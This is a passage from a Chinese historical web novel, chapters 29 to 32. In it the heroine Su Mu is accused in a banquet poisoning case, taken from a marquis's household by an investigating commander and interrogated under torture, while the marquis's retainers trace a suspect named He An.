他为何要查侯府? 苏木身后跪地之人摒气以待,似乎在等着顾长宁的回答。 众人皆是。 顾长宁静坐在案前,指尖摩挲着左手扳指,像在思量什么。 终于,身后之人一个大喘气,苏木瞧见顾长宁松开了摩挲扳指之手,而是握上了那立于一旁的手杖,手杖垂落地面发出“笃笃”声响,修长挺拔的身姿耸立于苏木跟前。 与她擦肩时,掀起一阵细小的微风。 此刻,顾长宁怕是没空再去过问瓷盒这等事,苏木愿一探究竟,于是紧跟其后。 离了主屋,一行人跟至顾长宁身后,他步履不匆,极其稳健,留给众人的背影倒是有些舒心。 越至府门,穿堂风迎面而来,少了些冬日刺骨,让人毫无惧意。 穿过曲折游廊,踏上青石台阶,沿途下人府兵皆肃立而待,目光炯炯。 至府门,门外是剑拔弩张的气焰。 青天白日,格格不入的是一众玄色侍卫持刀而立,府外大道上的人皆避而远之。 放眼望去,整座侯府被围的水泄不通,除了黑压压身着飞鱼服的侍卫,门下左侧正背对一人。 他身着白袍,白缎上清晰可见的金丝线绣着稽查司都指挥使特有的暗云纹。 衣襟随风而乱,转身时,苏木一瞬便对上了那清俊的面容。 前两次相见,苏木皆戴斗笠,虽也能看清来人,但不如眼下清晰。 不担心谢辞桉认出她来,苏木站至顾长宁左侧后方,目光灼灼。 谢辞桉立于阶下,眸色沉着冷静,就如在大街之上初次相见一般,眼含温润,却又似黝潭无底,让人捉摸不透。 谢辞桉的目光扫视了门前众人,未在苏木身上多做停留,眸光便对准了顾长宁,顾长宁虽瞧不见,但苏木也明显能感知到门前的对峙之感。 “都指挥使好大的排场,不知稽查司因何事要搜查宣德候府。” 扬风立于顾长宁右侧后方,先行询问。 谢辞桉面若春风,语气却带有指挥使独有的冷峙之感,温润如玉。 “谢某见过小侯爷。” 听到声音,顾长宁侧耳后轻点头,未作声。 按爵位来说,顾长宁的侯爵是世袭,自然比一个靠科举而入京畿辖区官职之人位高:若按实职,三年前顾长宁便已是统帅三军的都督将军,自然比辖区长官要位高。 因此,顾长宁就算是点点头,也算是礼貌回礼了。 苏木紧紧盯着谢辞桉,眼中有着说不明的情绪。 台下之人从腰间抽取令牌,手臂高高举起,嗓音温润却声力铮铮。 “稽查司奉陛下之命查新春赵爵世子中毒之案,现有确切证据指向侯府窝藏要犯,现稽查侯府,若有阻拦,皆视抗命!” 听此令,顾长宁身后府兵紧握腰间刀柄,面带警惕,刀刃与刀鞘发出些摩擦声响,蓄势待发。 苏木跟前之人未应也未拒,凭着手杖下踏几步,手杖每一次点地,仿佛都敲打着在场之人的心。 苏木看不见他的表情,但她知道,这侯府,定然不是他稽查司想进便能进的。 比起顾长宁的侯府,苏木更担忧谢辞桉,于是眸中闪过一丝无人察觉的思虑,偏偏向台下白衣之人瞧去。 顾长宁薄唇微抿,眼底冷寂森然。 “侯府自然不敢阻圣上之命,不过……都指挥使有何证据?” 苏木心下一忧,她就知道,顾长宁绝不是轻易妥协之人。 谢辞桉抬眼看他,面上含笑,眼底却无波:“稽查司不便透露,还请侯爷莫加阻拦。” 此话一出,门前气氛凝滞,街头那本是带着柔意的风都像是被这冷然气氛笼罩而冻结。 “都指挥使这话有些意思。” 顾长宁嗤笑出声,唇角勾起一抹凉薄弧度:“稽查司一句证据指向就可包抄我侯府,既是如此,你们稽查司不是想查谁就查谁,谁敢阻拦?又谁,敢质疑?” 这话听着,像是在认同谢辞桉所说之话,但这话中意思苏木听的却很是清楚。 潜台词就是:你拿不出证据,今日这侯府大门你是进不去了。 苏木拧眉,仔细瞧着谢辞桉的表情。 顾长宁的阻拦之态并未让谢辞桉退步,他目光如鹰,褪去了半分温润,抬手时,身后一粗衣麻布男人被带了上来。 那男人如鸡崽子被人拎着,嘴角还挂着血渍。 “此人乃是你们侯府小厮,前几日谢某曾瞧见他在玉春楼多有来去,与那玉春楼的月华姑娘相触甚多,况新春时宫中嬷嬷曾见这小厮随侯府入宴。” “此案交给稽查司当然是要仔细审理,在宴之人无一可以排除嫌疑。” “恰好,小侯爷府中小厮行事如此鬼祟,自然在排查之列。” 谢辞桉语中不急不徐,从容不迫。 顾长宁瞧不见,扬风从苏木身侧上前,弯着腰仔细掐着男人脸庞,瞧仔细后朝向顾长宁。 “公子,确是侯府小厮。” 苏木只瞧着顾长宁的背影未上前,她也想瞧瞧,这场戏会怎样上演。 听到确认之声,顾长宁却不怒反笑:“就算如此,与我侯府有何干,不如直接把本侯抓去询问?” 谢辞桉未答顾长宁之问,而是侧头垂眸问向地上之人。 “前几次问你,你说是月华姑娘指使你的,可是如此?” 他语气耐心,地下男子少了几分害怕,颤着声回应:“确是。” 谢辞桉再问:“那月华姑娘在何处你可知?” 此话一出,那男人回答并非之前迅速,他以极快的速度瞄了顾长宁一眼,在对上如冰一般的面容后又带着颤向他处望去,最终,眼神落入府门之前。 手缓缓抬起,指向门前穿着丹青素袄之人。 声音依旧打着颤:“是她,她把月华带入了侯府。”—— 第29章 苏木本身还在看好戏状态, 陡然被这么一指,有些发懵。 她的确带了月华回府没错, 但她是听从的顾长宁的命令。 这会儿听来,什么新春宫宴毒杀赵爵世子的倒像是月华,可顾长宁既不是稽查司之人,也非有是实职在身,为何要管新春宫宴之事? 苏木不敢往下想,越想越觉得,是不是自己被做了局, 马上, 便要成为替罪羔羊。 这句“是她”自然也传入顾长宁耳中, 他拧眉, 向扬风方向侧耳。 可那人即使未说出姓名,顾长宁已隐约知道, 那地上小厮所指向的是何人。 扬风再次上前, 拱手禀告,给了确切答案:“公子, 所指之人乃是苏木。” 顺着地上男子所指, 苏木瞧见谢辞桉疑似目光而来, 不知为何,她有一丝慌乱。 儿时挚友,此刻却用审查犯人一般的目光看向她。 她知自己不能被动, 也不知眼前两派究竟哪一方是正,她无法做到熟视无睹,于是凝目上前:“我不认识眼前人。” 她掷地有声,否认男子所指。 她绝不是仍人宰割之人…… 带月华回府的确是她不错,可眼前这男子她的的确确未曾见过。 况且, 若是将顾长宁所安排给他之事全盘托出,顾长宁势必会被押入稽查司的牢狱之中,有蛊毒牵制,若是他出事,她无从得知情况,行动也会不便,必要时还会遭受牵连。 未保自身安全,她暂时不能牵扯出顾长宁。 “姑娘,你说的可不算。” 谢辞桉听到声音,这才注意到走向前来的女子,刚在远处,还未来得及细看,这一眼,他竟觉有些熟悉之意,可偏偏又说不明。 少了些审视犯人之感,眸中多了一分温和。 无视身侧顾长宁,苏木开口:“那要如何?都指挥使要听信这下人的一面之词?” 苏木不卑不亢,眼中满是坚定,带有不退步之姿。 她信,谢辞桉绝不是如此草率之人。 她直视谢辞桉双目,见他突然大笑,眸光中多了几分对眼前女子的赞扬,似乎也没想到,被如此指认还能有理有据,而不是哭叫冤枉之人。 “自然如此!” 谢辞桉转头看向顾长宁:“能不能洗刷你的嫌疑,要看侯爷是否愿意谢某进府查探了。” 苏木顺着谢辞桉的眼神看向顾长宁,她不知道,顾长宁会做出怎样的回答。 但她知道,现在已有确凿人证,就算他不允许谢辞桉踏进侯府,那月华也是要带走的。 但现在月华能出来说并非受自己指使,那她也可洗刷嫌疑。 顾长宁脸色平常,眸光黯淡,抬手时,苏木也像看到了希望。 “月华在何处?苏木,你去领她出来?” 她去领? 听到这句,她已觉不对劲,现在顾长宁在装作不知道,难不成是想撇开和自己的关系? 她心下不解,正冷冷看着顾长宁,可她眼下也不明情况,未作声。 “侯爷,你让她进去领人,若她逃了怎么办?” 谢辞桉面带怀疑,带着质疑:“若不然,我随这姑娘一同进去可否?” 苏木偏头看顾长宁,只见他双眉轻轻一凛:“怎劳烦都指挥使跑一趟。” 顾长宁再次抬手:“扬风,你随苏木前去,看紧了,别让她跑了。” 扬风是顾长宁的贴身侍从,也是随顾长宁打出名气来的,若是现在谢辞桉仍要执意进府,这案子若是牵扯到侯府身上还无碍,若仅仅是这婢女包藏祸心,那便是与顾长宁结了梁子。 苏木瞧见谢辞桉眼下思虑。 只见谢辞桉再次露出温润细语:“那便不担心了,我等在此处等着。” 此话一出,双方也算达成一致,众人目光皆投向苏木。 眼下各怀鬼胎,苏木看向扬风,扬风表情无异,也如平常一般。 他在前,苏木紧跟其后。 进了府绕过回廊,苏木转身瞧身后无人,冷声询问:“你们侯爷什么意思?” 扬风既然在此,她定要问个明白。 不做那枉死的替死鬼。 扬风在前脚步微顿,随即回话,声音却比往常小很多:“公子要我告诉你,若你信的过他,就算去了牢中也要咬死不承认与侯府有关。” “为何?” 苏木不明白为何要藏着掖着,现下她都要因帮顾长宁办事而入狱,顾长宁一句要她信他便这么打发了? 她有些生气,故意威胁:“你们这般藏着掖着,若我在稽查司受不住,说不定会漏点什么。” 风铃随清风摇曳,不似往常闲情雅致,二人步伐极快,只觉耳中烦躁。 扬风未停脚步,声音依旧放小:“公子说,该说什么你自己清楚。” 扬风声音极冷淡,苏木知道这句话的含义,顾长宁在威胁她。 若是她透露半点,那顾长宁出了事她也不保;但她不一样,她若是出了事,母蛊虽遭受一些反噬,但不至死。 好计谋。 合着她伸头缩头都是一刀,现下唯一能做的就是像扬风所说那般,去相信他? 苏木已无话可说,两人一路无言。 月华关在地牢之中,苏木未进地牢,而是由着扬风牵着她跟在身后。 不多时,二人再次至府门前,只是现在,身旁还多了一位被麻绳所捆绑的女人。 不知为何,自月华从地牢中绑出来后,苏木总觉得她十分熟悉,明明初见绑她时还未曾有过这种感觉。 见人已带到,谢辞桉招来小厮,对照着画像又看了眼苏木身侧之人,这才确定般又问地下男子:“她是不是月华?” 男子本趴在地上,头垂不敢掀眼,见问话,这才往前看去,在瞧见确切面容后,语气十分笃定:“就是她了!” 得到肯定回答,谢辞桉下令:“来人,把月华给我押上!” 语气凌然,下令是那君子如玉般的面容消解了几分。 月华被谢辞桉身后侍卫所押,一句话也没说,停至谢辞桉跟前。 顾长宁和他相对而立,面色无波。 “月华姑娘,你且说,是何人将你带到了侯府?” 谢辞桉神色缓和,嗓音夹杂着一丝温雅,压迫感倒是少了几分,但语气却有着不容置疑的冷意。 苏木抬眼,她瞧见月华眼底的躲闪,但最后还是将手指向了她。 “是她,苏木。” “哦——” 谢辞桉顺指而视,目光落在苏木身上,嘴角勾起一抹笑意:“苏木姑娘,这次,你的嫌疑可洗不净了。” “苏木姑娘,你抓月华,可是有人指使?” 谢辞桉端立如玉芝,语中再无温煦,出口便已像审问犯人一般。 她早已料到会有这一问,她也想起扬风在院中警告她的那句话。 但她还是看向顾长宁。 顾长宁背影如松,立于跟前未有半分松动,也未替她说半句话,她都能想象到,那抹背对她的面容,必定是无之所谓,无波无澜。 心下已黯,苏木冷声否认:“未有。” 谢辞桉听到回答后倒觉得更有意思了,于是转身看向立于跟前身着松墨锦袍之人。 “侯爷,这苏木既是侯府女眷,现下与那案子脱不了干系,这苏木和月华,谢某需带回稽查司审问,你觉如何?” 虽是询问之语,但这话即使不说,苏木也知,今日,她必定会被带走。 果不其然,顾长宁也算没负她所望,淡语:“该是如此。” “只是侯爷,这苏木既然有嫌疑,那她所居之所,稽查司也要一并探查才是。” “还有,苏木乃侯府之人,在事情未查明之前,侯府众人一律不得进出!” “给我搜!” 谢辞桉少了客套之语,下令起来,倒的确不负稽查司都指挥使之名。 谢辞桉身后侍卫如飞鱼般出动,黑压压的一大群要朝侯府里去。 未得允许,侯府府兵紧握刀柄之手迅速从刀鞘中抽出,个个杀气森然。 两方势力,剑拔弩张。 府兵个个目光如鹰,似乎下一瞬便可一招割喉 ,众人大气不敢出,只有扬风看向顾长宁。 似乎在等他下令。 “放肆!退下!” 顾长宁转身,他虽瞧不见眼前局势,但刀鞘相撞之声,他比任何人都听得清。 他转身时浑身气质极其冷峻,棱角分明的脸上看得出一丝愠怒,下令时,扬风为之一怔。 听此命令,府兵才缓缓收回刀柄,直至黑云般的稽查司侍卫一波波朝侯府而去。 苏木暗觉不妙,她凝视着他,一句话也未说。 影儿,还在苏木房中。 街上闲杂人等早已不敢靠近,也无人敢伸头一探究竟,整个侯府门前毫无烟火气息,只余黑压压的气氛。 “报大人——” “苏木房中发现钩吻残渣。” 侍卫声传来,苏木提着的心此刻已绷到了极点。 她转身,侍卫身旁并无影儿。 她终于松了一口气,她想,肯定是她又找了那地窖藏了起来,这样也好。 可她在听到钩吻时心下又一紧。 钩吻,那可是极毒之药。 苏木不记得她曾买过钩吻这个东西,此刻这东西出现在自己房中,而影儿却不见踪影。 苏木已经暗暗感觉到事情有些不对劲了—— 第30章 没有确切证据就抓走侯府其余之人, 不合稽查司规矩,谢辞桉自然也不是鲁莽之人。 影儿最终没有被带走。 顾长宁虽被怀疑, 但作为皇亲且又身居爵位,无确凿证据,无人敢动他。 况且,如今无论是小厮还是月华皆指认苏木,未指顾长宁。 顾长宁的借口也用的极好,反正侯府就在那处,被围起来也无人可以进出, 谢辞桉没有与他硬碰硬。 最后, 只苏木、月华以及那小厮被带走。 那日在街头, 苏木多少听说过稽查司是何等去处。 稽查司乃是整个上京的邢狱之所, 整个上京乃至整个鄢国,凡是在被圣上下旨缉拿以及在上京犯事之人, 进入稽查司重则掉脑袋, 轻则掉一层皮。 苏木这辈子连奴场都进过,对这稽查司倒也不算害怕。 此刻, 阴冷的牢狱里, 细微火烛摇晃, 投射到湿墙之上,像起伏着吐着蛇信子的毒蛇。 稽查司不是吃素的,自苏木被带入稽查司时起, 她就被直接拴在了这木柱之上。 此刻,她双臂绷的笔直被铁链拴在木柱之上,浑身被捆的动弹不得,只余那挂着青痕血丝的脸庞斜斜垂落肩头,发丝凌乱四散, 衣襟处沾满了血渍。 显得狼狈不堪。 阶下,两名守卫来回踱步,腰间刀刃在烛火映照下发出刺眼的银光,可苏木已经累的抬不起眼皮了。 她已不知过了多久,只记得审讯室里的审讯之人无所不用奇极,无论是铁鞭、夹棍、还是烙刑…… 可她的嘴巴里撬不出来一句话。 苏木垂眸,疲累无神的眸光落入黑黢黢的地面。 再怎么问她,她也什么都不知道,关于什么新春毒案,顾长宁没来得及告知她,就连抓月华的目的,她也还未来得及问。 现在问她,她能说些什么。 或许,如果濒临一死,拉上顾长宁,有破解之法。 但现下,确不能用。 她便暂且信他一回,看他如何解决此事。 “撬不开嘴可怎么办?” 两名审讯人皆穿着稽查司特有的飞鱼服,瞧着威风凛凛。 一人有些恼怒,恨自己遇到如此硬骨头之人。 另一人闻言叹气:“还能怎么办,大人让我们一日内需得审问出些有用的东西,如今她不开口,只能继续用刑了。” “还用啊?” 那审讯人唏嘘,偏头看向绑在木柱之上的人,衣衫早已被血渍浸透,整体而视,仿佛看不到一处完整之躯。 “那你说怎么办?” 另一人挠头,确实也想不到其余之法,于是又睨了眼阶上之人,朝一旁放满刑具的木架子而去。 一时没了说话之声,审讯室短暂寂静压抑。 那二人也怕一不小心给人审死了,于是在那刑具架前来回踱步,拿下一个放下一个,又拿起一个又短暂放下…… 不知过了多久,苏木已阖了双眼,再无半点力气能支撑。 二人还仔细挑着刑具,门外却传来一阵沉稳脚步声,声音由远及近,沉稳而不疾不徐。 二人竖耳一听,立马朝门口望去,见一袭白衣便知来者何人,随后拱手示礼:“谢大人。” 谢辞桉刚从另一头牢狱过来,月牙色衣摆处还混染了几分污渍泥泞,袖口处也有几分血渍。 二人都知,谢辞桉虽算温润君子,但身为稽查司首领,审问起犯人来,从不马虎。 可苏木已未有意识,浑浑噩噩,未能听清和看清来者何人。 左不过,又是来审讯她之人,她已懒得掀眼帘。 谢辞桉轻抬手,那二人跟至他身后,有些羞愧开口:“大人,不管用何刑具,这女子都不开口,我们实在没办法了。” 怕谢辞桉怪罪,二人猫着腰,毕恭毕敬。 身前之人往前走了半步,眸中倒影出木柱之上的人,瞧着那人影猩红模糊之模样,他挥挥手,声音温润:“无碍。” 其后两人停在原地未再上前,他们知道,谢辞桉审人时身旁最是不能有人,也不能多嘴。 谢辞桉眯着眼,未顾及身后人,又往前走了几分。 莹润如白玉的手掌中不知何时多出一把薄刃短刀。 他缓缓向木柱方向走去,直到一步步抬起脚往台阶上而去。 举手时,利落而决绝。 “唔——” 陡然的剧烈疼痛自右胸口蔓延开来,苏木浑身一颤闷哼一声,眼前骤然发白,她被这疼痛惊的下意识伸头而望,脖颈间的青筋兀自凸起。 她感受到胸腔似乎要被撕开一般,鲜血瞬间便顺着刀口氤氲。 垂下头时,她眼睛猩红,额上冷汗随之滚落。发际发鬓被浸湿一寸又寸。 疼痛晕染到眼部,她只看到白茫茫的一片。 她努力试图去睁开双眼,努力聚焦眸光。 恍惚间,脸庞愈来愈清晰,像无数个光影交错,最终汇集,而她眸色刹那间浮现出愕然、震惊、恍惚、酸涩…… 那张熟悉的脸扭曲成儿时模样——那个和她一起偷吃桂花糕的人、和她一起偷跑去阆华街偷吃的人、那个常常把她护至身后之人,重叠在了一起。 明明是清隽的模样,可此刻,眼中充满了凛然。 苏木双唇微微颤着,疼痛混合着儿时记忆一并涌了上来。 记忆里,儿时上京城春日烟雨化作她眼底的雾气,正迅速的蔓延。 泪水虽在眼眶打转,可苏木知道,如今不是记忆之时,她亦不再是谢辞桉的珏明妹妹,她努力吞回泪水。 可那如潮湿一般的回忆带着寒意,一寸寸直逼泪框,终是不争气落下一滴。 谢辞桉自当上都指挥使之日起,手下所审犯人无数,他自认为见过无数亡命之徒恶狠狠的嗜血之眸、见过烟柳女子苦肉计般的含情脉脉、也见过身旁熟悉之人误入歧途之后悔颜色。 可在对上眼前这双湿沥眼眸时,竟心下一丝晃动,连带着手中利刃不知觉地松动了几分。 直到虎口传来湿润之感他才回神。 他以为,这是犯人惯用的苦肉计。 谢辞桉那张本该是清朗俊逸的脸庞,此刻却笼罩着一层生人勿近的冷色。 眉眼依旧疏朗,却在此刻紧紧拧做一团,声线底醇沉稳,平和而问:“苏姑娘的骨头很硬?” 木柱上的人与他对视,心下还是有一些凌乱迹象,可面色未有松动,眼神坚定。 谢辞桉见他不说话,脸上浮出些淡笑之意,他未像刚才一般贴入她脖颈而问,而是松开了刺入她胸口之刃,与她拉开了一丝距离。 “苏姑娘,你应知进入稽查司你将处于何等境地。” 谢辞桉侧身而言,转而又看向他,温声:“所以苏姑娘,为了少吃些苦头,你还是如实回答,我谢辞桉可保证,不伤你性命。” 他背对她,也以为他这话说的足够耐心且真诚,可对上那无谓神色时,他无奈摇头。 谢辞桉再次靠近她,单手同样再次紧握刀柄。 “告诉我,你掳月华至侯府,究竟是何缘由?” “还是说,你是受顾长宁的指使?” 谢辞桉目光逼人,苏木知道,她若不开口,那薄刃必定会再近一寸。 苏木不愿与他呈弩张之势,撇开眼神时,头也往侧边偏了几分。 她冷笑开口,声音沙哑:“大人不必在我这耗费时间。” “你就算再问我一百次,我都可以回答,我不知道。” 苏木声音都带着颤,好像说完这几句话已经用完了全部的力气,甚至最后几个字若不是谢辞桉站在她跟前,他都未必能听见。 可坚定之色,依旧不改。 晕黄烛火跳跃在谢辞桉的侧颌,一半俊逸一半阴沉。 他眉眼未有过多表情转换,可手腕却兀自使力,尖刀在肉里向蟒蛇一般来回狰动。 苏木承受不住,身体剧烈的颤抖,齿间紧紧咬住下唇。 寂静无言,只有冷汗一粒粒滚落地面之声,压抑笼罩整个审讯室,苏木毫不示弱。 那刃尖又往里进了几分,苏木对上谢辞桉的眼睛,却依旧坚定,不肯示弱。 刀尖越往里去,苏木身上的疼痛越甚,她手脚束缚,本能地想要去捂住伤口也变成了困兽之争,终于在耗尽心力后,头沉沉栽了下去。 刀下人没了反应,谢辞桉自然是能感受到的,他未拔出掌中刀,一时站在原地,视线由一开始的对视,变成落眼于她的侧颜。 脸色可以说是惨白。 谢辞桉眼中带着些思索,仔细盯着右手刀柄,思虑之下他还是打算先拔出来。 若一直这么插着,怕是问题还没审问出来,人已经走了一会儿了。 他知眼前人已疼晕了过去,若是直直拔刀必然会再次弄醒昏睡之人,可对待犯人,谢辞桉也不是菩萨心肠。 他用力,尖刀一瞬离体,拔刀那一刻,垂头之人拧眉轻哼,但身体最终未有丝毫动静,想来,的确是伤累到了极点。 谢辞桉收回目光,转身朝阶下二人看去:“先找个大夫,此案尚存疑点,这人暂时不能死。” 那二人一听连忙询问,生怕日后自己弄错:“那大人,明日,还审吗?” 既然要医治,总不可能辩医治边用刑。 可谢辞桉也知,关于这个案子,圣上留给他的时间不多了,他若在此月十五未能查出,怕是雷霆正怒。 眼下,正是初七,还有八日。 谢辞桉垂目思索,将手中染着鲜血的尖刀扔到一旁破旧桌子之上。 苏木虽为嫌疑之人,可侯府同样脱不了干系。 谢辞桉敛目:“让她修养两日,那位月华既然一口咬定是此人指使,但侯府依旧要死盯着。” “我就不信,他们露不出什么马脚。” 30-40 第31章 侯府, 暮色似墨,院中烛火通明。 一黑影自壁上而下, 混入寂夜之中,无人能看清。 扬风轻声点地,警惕的朝四周望去,见无人察觉他踪影,遂向里走去。 转影壁时,迎面突然撞上一人。 祝余身着一袭淡粉色褙子,衣诀在晚风的吹动下上下摆动, 她眉眼带着焦急, 见等到相见之人, 立马上前拽住扬风袖口。 “扬风, 你出去过了?你可知苏木姐姐如今怎样了?” 苏木与祝余之间的关系,在上次自家公子中毒时就已经分明, 他撞见祝余问此问题, 倒也不意外。 但自家公子又正好又嘱托过,此事无论什么细节, 皆不可告知旁人。 扬风在上次之事后对祝余也算客气, 眼下他还有事找他家公子, 于是拂了拂手想要往前走,却被祝余又拽了回来,语气更是焦急:“我问你话呢, 你聋了吗?” 祝余不是慢性子的人,瞧见眼前人半天不说一句还要直接走,更是火燥。 前日,她被皇帝叫去宫中诊病,回来时还想和苏木说此事, 但却听闻顾长宁和苏木出去未归,昨日也正要去寻苏木,却遇上稽查司直接将人带走了。 侯府被围,她不好贸然出去,可谓是对何事都一无所知。 但眼下情况紧急,若是棘手之事,她也好及时向师父禀告,自家师父一向待苏木极好,定然有办法救她于水火。 扬风看他一眼,闷叹一口气:“此事你暂且不要过问。” 说罢,扬风无视身后祝余叫他之声,直直往东苑主屋方向而去。 主屋灯火比别处要旺盛许多,一路明盏指引,扬风疾步匆匆,直奔主屋而去。 扬风在外问候,听到里面的人应了声才开门而入。 扬风拱手后站直,看向几案旁的人。 顾长宁今日身着黯竹玄衣,衣料素净而剪裁得当,虽坐却能衬出他身形,气质被衣上影竹衬的清冷。 他眼神冷寂,侧身斜坐,面目朝向几案上的玄色花瓶,一缕缃色腊梅点缀空冷的主屋。 几案上,还有一熟悉瓷盒。 扬风一扫而过,随即收回目光:“公子,玉春楼月华赎身契单上,写着何安的名字。” 顾长宁听到扬风进门的动静,本来面色无波,却在听到此话时,顾长宁神色一变。 他从来不是随便信人之人,所以在苏木身后,在她察觉或未察觉之处,皆有侯府之人随时盯着。 那日苏木带影儿回府,就算无人通告,他也知此事。 一个身份未明之人就够了,再多一个影儿,顾长宁自然要查清身份。 但可疑之处在于,扬风顺着那日在街上强辱影儿之人查询发现,那二人均已死于非命。 更奇怪的是,顾长宁中毒那日过后,这诺大的侯府竟然未找到这个“影儿”的一丝踪迹。 那日月华被苏木带回时,为确保无遗漏线索,他再派遣扬风前往玉春楼。 扬风那几日没少乔装在玉春楼查探,和一小厮打好关系喝酒时才套到,月华早已在上月十九便被人买下,赎身契一式两份,一份在月华手中,一份在老鸨卧房的暗格。 几日查探,扬风早已摸索到玉春楼妈妈的卧房在何处,下了点迷药便进入卧房之中,以假契换置,取回了契约。 假契之上,写着赎身人为“何安”。 按楼里小厮所说,那月华平日和男人走的都挺近,不知是何人赎身,却一直没将她带走,于是赎身后约有半月,依旧在楼里接客。 扬风都还记得那小厮在说起此事时的疑惑,但扬风同样获得了一信息,那就是每到翌日卯时,月华身边的一个丫头都要带着斗笠出一趟门。 只是后来几天,再未见到过月华身边的丫头。 疑点重重,顾长宁知晓此事并不简单。 昨日,在任由苏木将影儿再次带回后,他借由询问瓷盒破损支开苏木,将影儿扣押了起来。 本身这影儿就疑点重重,如今更是在苏木房中搜到了“钩吻”,现下自然是不能放过任何重要切入口。 影儿身份未明,也未可知这人是否与这个案子相关,他不能放过任何一个细节,必须要查明身份。 于是在昨日稽查司一众人离去后,顾长宁命扬风对影儿进行了询问。 因着是苏木所护之人,顾长宁也不好直接将人关入地牢。 而且如果直接关押,若影儿与此事无关还好,若是她与此事脱不了干系,那便会打草惊蛇。 扬风装作和气模样询问,那影儿虽在回话时听着有着害怕之意,但是回话居然也找不出什么问题。 他问从何处来,她答是宰相府中丫鬟,因得罪府上贵人而被撵了出来,幸亏得苏木相救; 他问为何要一直跟着苏木,她答觉得苏木待她极好,自己也无处可去,只为报恩; 他问为何苏木被冤入狱那日她不见,她答是因为害怕而躲入地窖之中…… 而问那日搜查府兵,也说那几日未搜查过地窖。 目前看来,这影儿回话滴水不漏,找不到一点入口。 但后面,也非完全没有得到信息,就在顾长宁问他是否知道那日强辱她之人已死后,他才感知到被问者一丝的犹豫。 但回答如他所料,她说不知道。 因此,顾长宁还是得到了几处有效信息—— 一来,影儿,曾是宰相府中的丫鬟; 二来,在顾长宁中毒昏迷、苏木入狱的那段日子里,无人真切看见影儿是否在地窖里; 三来,强辱她的人离奇而死,她毫不知情。 顾长宁需要一一对这些可疑之处进行排查。 因此在扬风带影儿回屋之后,他又派扬风去宰相府中查探。 可结果如影儿所说。她的确,是宰相府中的丫鬟,扬风虽无法直接拿到影儿放奴书,但揪了好几个宰相府中掌事之人,皆说影儿在宰相府十几年了。 此外,扬风也亲自去地窖查探过,地窖菜食的确有不对账之处,若说是有人在里面住了两三天,倒也是像的。 最后,扬风去探查了已死之人的身份,而那两名已死之人是城西臭名昭著的混混,见扬风询问时说二人已死,街上之人无一不称快。 一时之间,影儿这里已无切入口。 而苏木房中的“钩吻”,也在同时段被凌风所调查。 顾长宁自然是不怀疑苏木的。毕竟,新春毒宴时,苏木人还处于蔺州,何况就算是她,她也不会傻到把这毒药残渣一直放在屋中。 那日因侯府器库进贼一事,他已查过苏木房中,那时毒药还未在,是昨日,毒药才突然被查出。 搜房第二日苏木和他同游至深夜才归,据扬风言,那日午时前影儿一直在苏木房中,快近午时才被苏木带出府去了客栈。 这样说来,那影儿仍旧是嫌疑之人。 而“钩吻”这个东西在上京并不算少见,但是寻常医馆买卖药品皆要登记, 顾长宁明白这一点,于是便遣凌风去上京各个医馆排查。 上京为鄢国之都,大小医馆不尽其数,想要不打草惊蛇,凌风只带三两府兵乔装探寻。 一日一夜暗查后,在上京共找到了六家医馆有登记购买“钩吻”,但是,却只有在城西一个名叫“安和堂”的医馆中查询到一个熟悉的名字:何安。 在本月初一,有一位名叫“何安”之人买了钩吻,并登记在册。 这不就巧了,赎月华之人名为何安,买毒药之人也为何安。 这样看来,这何安是理清影儿身份与月华意图的关键人物。 一日一夜,也不算毫无收获,扬风与凌风暗自在外查探,顾长宁在府中也可掩人耳目,就如此刻,二人在外回来后,向他禀明所获。 此时,在听闻“何安”一人涉及两处关键后,顾长宁问:“你可去查过何安是何人?” 扬风早知要查此人,于是如实回答:“查过,这何安乃是上京郊外南栖村的村民,二十有一,家中父为耕夫,母常织衣以卖,无其余姊妹兄弟。” 基本信息倒是被扬风说的清楚,但顾长宁想听的可不是这些。 顾长宁揉了揉眉心:“他最近与何人有来往,家中人可知他为青楼女子赎身。” 烟柳女子,莫说是富贵人家,就算是平民那也是难以接受的,何况这何家就何安这一独子,想来他要为其赎身,自然是难。 扬风拱手:“他家长辈不知,且扬风打听到,那何安早在一年前就有婚约在身。” “婚约?” 顾长宁重复,捏住眉心的手松开了半分,他身子往前又正了几分,抬起头来:“与何人婚约在身?” “是隔壁清水村的朱家。” “那哪朱家可知他们看中的男子竟为烟花女子赎身?” “你可去朱家瞧过?” 顾长宁问的仔细,不知为何,在听到这一长串的关联后,他好像隐约感觉到了什么,但是又似有似无。 “回公子,这朱家……” “怎么了?” 意识到扬风语气有一丝犹豫,顾长宁已觉不妙,于是沉声追问。 “下属找到何安时,他正与歹人搏身……” “当下属顺着他所说的朱家而去时发现,” “朱家遭了大火,无一人幸存。”—— 第32章 扬风回想今日, 凌风是午时前后查出安和堂的记录,扬风和他交接了任务便独自前往南栖村。 去往南栖村后, 那何家夫妇皆说何安久不居家,扬风等待多时未见人,离去后又暗自在周围暗等多时,但的确连个人影子也没碰到。 他只得仔细回想,据邻里邻所说,这何安平常喜欢往城动而去,据说每日总有那么会儿从城东而归。 但如今, 这何安不在家, 自然也不会去一个众人所熟知之所, 于是扬风决定往城西去碰碰运气。 快至城西门时, 一僻巷传来打斗之声。 扬风也不算多管闲事之人,况现下正忙, 正打算忽视这吵闹声, 他不以为然的朝一旁杂乱四散的鸡舍笼箱瞧去,也恰是这一眼让他发觉被打之人有些熟悉之色。 从怀中掏出卷轴比对, 正是要去南栖村所找之人——何安。 以扬风的功夫, 纵使巷中凶恶之徒颇多, 彪猛大汉凶神恶煞,也难不倒他。 三下五除二,扬风撂倒几人, 将何安从狭窄小巷牵出。 扬风瞧着眼前人,也不过与他同般年纪,眉目还算清秀,整个人看着也清秀,不似寻常乡野农夫粗犷。 他为那人拍了拍衣间上的杂尘, 又仔细端详着何安脸上的伤痕,不禁咂舌,若不是今日他路过,这何安怕是今日交代在这,这线索也就断了。 扬风瞧他猫着腰捂肚之窘迫,于是扶着他往城中医馆而去。 何安躺于诊席之上,扬风环手抱于胸前:“你与何人有仇,为何那么多人打你一个?” 起初,这何安被扬风所救还满眼感谢,听此问后正诶哟的痛叫声此刻便停滞住了。 他知眼前人身份不简单,看了一眼扬风说:“不过是一群混混,还要多谢官爷相救。” 扬风自然察觉出了他的防备之意,于是点头:“好啊,你要谢是吧。” “那你回答我几个问题。” 席上之人现在受诊还躺着,那大夫还在外屋制药,屋中只二人。 何安仰起半个身子:“官爷你问。” 扬风站在原地不动,只看着他,眼神专注:“你曾在安和堂买过钩吻?” “是。” 扬风见他回答还算爽快,点头又问“你买钩吻做何事?” 似是没想到扬风会问如此细致,何安明显变得有些不安,看他嘴唇微张,好几次欲言又止。 